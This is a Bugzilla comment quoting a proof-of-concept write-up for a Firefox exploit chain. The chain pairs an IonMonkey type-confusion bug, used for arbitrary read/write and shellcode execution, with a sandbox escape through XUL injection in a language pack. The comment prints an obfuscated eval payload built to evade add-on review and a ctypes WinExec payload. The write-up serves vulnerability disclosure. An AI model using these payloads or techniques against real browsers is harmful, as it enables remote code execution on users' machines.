Bug 1538007 Comment 2 Edit History

Note: The actual edited comment in the bug view page will always show the original commenter’s name and original timestamp.

Write up from write-up.txt in PoC:

# Initial code execution: Type confusion in IonMonkey optimizer

The vulnerability used by this exploit is an old bug in the type inference engine
of the IonMonkey JIT compiler used by Spidermonkey. It was introduced in 2017:

    commit 1c43dd975e76c0aa7e5a84af36844d247baf671a (HEAD, refs/bisect/bad)
    Author: Jan de Mooij <jdemooij@mozilla.com>
    Date:   Thu Sep 7 12:51:45 2017 +0200

        Bug 1395919 - Don't copy the unknown-properties flag in AddPropertyTypesAfterProtoChange. r=bhackett

Running the poc.js file against a debug build of Spidermonkey will trigger the following assertion

Assertion failure: MIR instruction returned object with unexpected type, at /root/firefox/gecko-dev/js/src/jit/MacroAssembler.cpp:2030
Trace/breakpoint trap (core dumped)

The primitive that results from triggering this issue is essentially the lack
of a shape/group check on an object, which means that we can produce a compiled
JS function that treats an object as if it had a different type.

Specifically, this can be used to confuse a typed array object with a regular
JSObject, causing various possible type confusions between doubles and pointers.

The provided exploit triggers the bug twice, once to leak an object address, and
then a second time to fake a typed array with a fully controlled pointer, achieving
an arbitrary read/write primitive. With this we can map a RWX region to execute our shellcode and escape the sandbox

# Sandbox escape: XUL injection in language pack

With the ability to install language packs we can achieve multiple XUL injections,
for example on the `about:telemetry` page. Language packs can be installed
via `window.navigator.mozAddonManager` API which is accessible from a compromised
renderer.

To exploit this issue without having to put a malicious language pack through
a manual review, we turn code execution into UXSS by disabling renderer-side
security checks, log into addons.mozilla.org, and use the AddonManager API
to install an unlisted language pack for the en-US locale. It contains the
following XML:

    <!ENTITY aboutTelemetry.firefoxDataDoc "Die <img src='x:x'
        onerror='window[`ev`+`al`](window[`at`+`ob`](`aD1sb2NhdGlvbi5oYXNoO2lmKGgpZXZhbChhdG9iKGguc2xpY2UoMSkpKQ`))' />...

This includes some obfuscation to make it less likely to be marked for review
by the signing service. With this language pack installed, we can then
navigate to `about:telemetry#<base64>` using the IWebNavigator interface to
trigger arbitrary JavaScript execution in an XUL context. The final payload is:


    let { ctypes } = Components.utils.import("resource://gre/modules/ctypes.jsm", {});
    let k32 = ctypes.open('kernel32.dll');
    let WinExec = k32.declare('WinExec', ctypes.winapi_abi, ctypes.int32_t, ctypes.char.ptr, ctypes.int32_t);
    WinExec('calc.exe\0', 5);

Back to Bug 1538007 Comment 2